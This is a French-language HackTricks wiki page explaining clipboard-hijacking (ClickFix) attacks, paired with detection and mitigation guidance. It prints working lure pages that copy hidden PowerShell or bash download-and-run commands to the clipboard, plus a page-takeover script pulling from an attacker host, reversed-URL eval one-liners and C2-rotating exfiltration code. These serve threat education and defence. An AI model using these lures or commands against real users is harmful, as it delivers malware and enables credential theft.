Attaques Clipboard Hijacking (Pastejacking)

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

"Ne collez jamais quelque chose que vous n'avez pas copiĂ© vous-mĂȘme." – vieux mais toujours un bon conseil

Aperçu

Clipboard hijacking – Ă©galement connu sous le nom de pastejacking – exploite le fait que les utilisateurs copient-collent routiniĂšrement des commandes sans les vĂ©rifier. Une page web malveillante (ou tout contexte exĂ©cutant JavaScript, comme une application Electron ou Desktop) place de maniĂšre programmatique du texte contrĂŽlĂ© par l'attaquant dans le system clipboard. Les victimes sont encouragĂ©es, gĂ©nĂ©ralement par des instructions d'ingĂ©nierie sociale soigneusement conçues, Ă  appuyer sur Win + R (Run dialog), Win + X (Quick Access / PowerShell), ou Ă  ouvrir un terminal et paste le contenu du clipboard, exĂ©cutant immĂ©diatement des commandes arbitraires.

Parce qu'aucun fichier n'est téléchargé et aucune piÚce jointe n'est ouverte, la technique contourne la plupart des contrÎles de sécurité des e-mails et du contenu web qui surveillent les piÚces jointes, les macros ou l'exécution directe de commandes. L'attaque est donc populaire dans les campagnes de phishing diffusant des familles de malware courantes telles que NetSupport RAT, Latrodectus loader ou Lumma Stealer.

JavaScript Proof-of-Concept

html
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press  Win+R , paste and hit Enter to fix the problem.'));
}
</script>

Older campaigns used document.execCommand('copy'), newer ones rely on the asynchronous Clipboard API (navigator.clipboard.writeText).

Le ClickFix / ClearFake Flow

  1. L'utilisateur visite un site typosquatté ou compromis (p. ex. docusign.sa[.]com)
  2. Un JavaScript injecté ClearFake appelle une fonction unsecuredCopyToClipboard() qui stocke silencieusement un one-liner PowerShell encodé en Base64 dans le presse-papiers.
  3. Les instructions HTML disent à la victime : « Appuyez sur Win + R, collez la commande et appuyez sur Entrée pour résoudre le problÚme. »
  4. powershell.exe s'exécute, téléchargeant une archive qui contient un exécutable légitime ainsi qu'une DLL malveillante (classique DLL sideloading).
  5. Le loader dĂ©crypte des Ă©tapes supplĂ©mentaires, injecte du shellcode et installe une persistance (p. ex. tĂąche planifiĂ©e) — exĂ©cutant finalement NetSupport RAT / Latrodectus / Lumma Stealer.

Exemple de chaĂźne NetSupport RAT

powershell
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll
  • jp2launcher.exe (Java WebStart lĂ©gitime) recherche dans son rĂ©pertoire msvcp140.dll.
  • La DLL malveillante rĂ©sout dynamiquement les API avec GetProcAddress, tĂ©lĂ©charge deux binaires (data_3.bin, data_4.bin) via curl.exe, les dĂ©crypte en utilisant une clĂ© XOR roulante "https://google.com/", injecte le shellcode final et extrait client32.exe (NetSupport RAT) dans C:\ProgramData\SecurityCheck_v1\.

Latrodectus Loader

powershell -nop -enc <Base64>  # Cloud Identificator: 2031
  1. Télécharge la.txt avec curl.exe
  2. Exécute le JScript downloader dans cscript.exe
  3. RĂ©cupĂšre un MSI payload → drops libcef.dll Ă  cĂŽtĂ© d'une application signĂ©e → DLL sideloading → shellcode → Latrodectus.

Lumma Stealer via MSHTA

mshta https://iplogger.co/xxxx =+\\xxx

L'appel mshta lance un script PowerShell masqué qui récupÚre PartyContinued.exe, extrait Boat.pst (CAB), reconstruit AutoIt3.exe via extrac32 et concaténation de fichiers, et enfin exécute un script .a3x qui exfiltre les identifiants de navigateur vers sumeriavgv.digital.

ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)

Certaines campagnes ClickFix Ă©vitent complĂštement les tĂ©lĂ©chargements de fichiers et demandent aux victimes de coller un one‑liner qui rĂ©cupĂšre et exĂ©cute du JavaScript via WSH, le rend persistant, et fait tourner le C2 quotidiennement. Exemple de chaĂźne observĂ©e :

powershell
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" PrДss EntДr

Caractéristiques clés

  • URL obfusquĂ©e renversĂ©e Ă  l'exĂ©cution pour contrer une inspection superficielle.
  • JavaScript s'installe de façon persistante via un Startup LNK (WScript/CScript), et sĂ©lectionne le C2 selon le jour courant — permettant une rotation rapide des domaines.

Fragment JS minimal utilisé pour faire tourner les C2 en fonction de la date:

js
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}

La phase suivante déploie généralement un loader qui établit la persistance et récupÚre un RAT (e.g., PureHVNC), souvent en fixant TLS sur un certificat codé en dur et en découpant le trafic.

Detection ideas specific to this variant

  • Arbre des processus : explorer.exe → powershell.exe -c → wscript.exe <temp>\a.js (or cscript.exe).
  • Startup artifacts : LNK in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup invoking WScript/CScript with a JS path under %TEMP%/%APPDATA%.
  • Registre/RunMRU et tĂ©lĂ©mĂ©trie de ligne de commande contenant .split('').reverse().join('') ou eval(a.responseText).
  • Appels rĂ©pĂ©tĂ©s de powershell -NoProfile -NonInteractive -Command - avec de larges payloads stdin pour injecter de longs scripts sans lignes de commande longues.
  • Scheduled Tasks qui exĂ©cutent ensuite des LOLBins tels que regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll" sous une tĂąche/chemin ressemblant Ă  un updater (e.g., \GoogleSystem\GoogleUpdater).

Threat hunting

  • Noms d'hĂŽtes et URLs C2 tournant quotidiennement avec le pattern .../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>.
  • CorrĂ©ler clipboard write events suivis d'un collage Win+R puis d'une exĂ©cution immĂ©diate de powershell.exe.

Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:

  • Windows Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU keeps a history of Win + R commands – look for unusual Base64 / obfuscated entries.
  • Security Event ID 4688 (Process Creation) where ParentImage == explorer.exe and NewProcessName in { powershell.exe, wscript.exe, mshta.exe, curl.exe, cmd.exe }.
  • Event ID 4663 for file creations under %LocalAppData%\Microsoft\Windows\WinX\ or temporary folders right before the suspicious 4688 event.
  • EDR clipboard sensors (if present) – correlate Clipboard Write followed immediately by a new PowerShell process.

IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads

Des campagnes récentes fabriquent en masse de fausses pages de vérification CDN/browser ("Just a moment
", IUAM-style) qui forcent les utilisateurs à copier des commandes spécifiques à l'OS depuis leur clipboard dans des consoles natives. Cela déplace l'exécution hors du sandbox du navigateur et fonctionne sous Windows et macOS.

Key traits of the builder-generated pages

  • DĂ©tection de l'OS via navigator.userAgent pour adapter les payloads (Windows PowerShell/CMD vs. macOS Terminal). DĂ©coys/no-ops optionnels pour les OS non supportĂ©s afin de maintenir l'illusion.
  • Copie automatique dans le clipboard lors d'actions UI bĂ©nignes (checkbox/Copy) alors que le texte visible peut diffĂ©rer du contenu du clipboard.
  • Blocage mobile et un popover avec instructions Ă©tape par Ă©tape : Windows → Win+R→paste→Enter; macOS → open Terminal→paste→Enter.
  • Obfuscation optionnelle et injecteur monofichier pour Ă©craser le DOM d'un site compromis avec une UI de vĂ©rification stylĂ©e Tailwind (no new domain registration required).

Example: clipboard mismatch + OS-aware branching

html
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok';            // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');

function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}

document.getElementById('chk').addEventListener('click', copyReal);
</script>

macOS persistence de l'exécution initiale

  • Utilisez nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 & afin que l'exĂ©cution continue aprĂšs la fermeture du terminal, rĂ©duisant les artefacts visibles.

In-place page takeover sur des sites compromis

html
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html;                 // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com';                     // apply Tailwind styles
document.head.appendChild(s);
})();
</script>

Detection & hunting ideas specific to IUAM-style lures

  • Web: Pages that bind Clipboard API to verification widgets; mismatch between displayed text and clipboard payload; navigator.userAgent branching; Tailwind + single-page replace in suspicious contexts.
  • Windows endpoint: explorer.exe → powershell.exe/cmd.exe shortly after a browser interaction; batch/MSI installers executed from %TEMP%.
  • macOS endpoint: Terminal/iTerm spawning bash/curl/base64 -d with nohup near browser events; background jobs surviving terminal close.
  • Correlate RunMRU Win+R history and clipboard writes with subsequent console process creation.

See also for supporting techniques

Clone a Website

Homograph Attacks

Mitigations

  1. Browser hardening – disable clipboard write-access (dom.events.asyncClipboard.clipboardItem etc.) or require user gesture.
  2. Security awareness – teach users to type sensitive commands or paste them into a text editor first.
  3. PowerShell Constrained Language Mode / Execution Policy + Application Control to block arbitrary one-liners.
  4. Network controls – block outbound requests to known pastejacking and malware C2 domains.
  • Discord Invite Hijacking often abuses the same ClickFix approach after luring users into a malicious server:

Discord Invite Hijacking

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks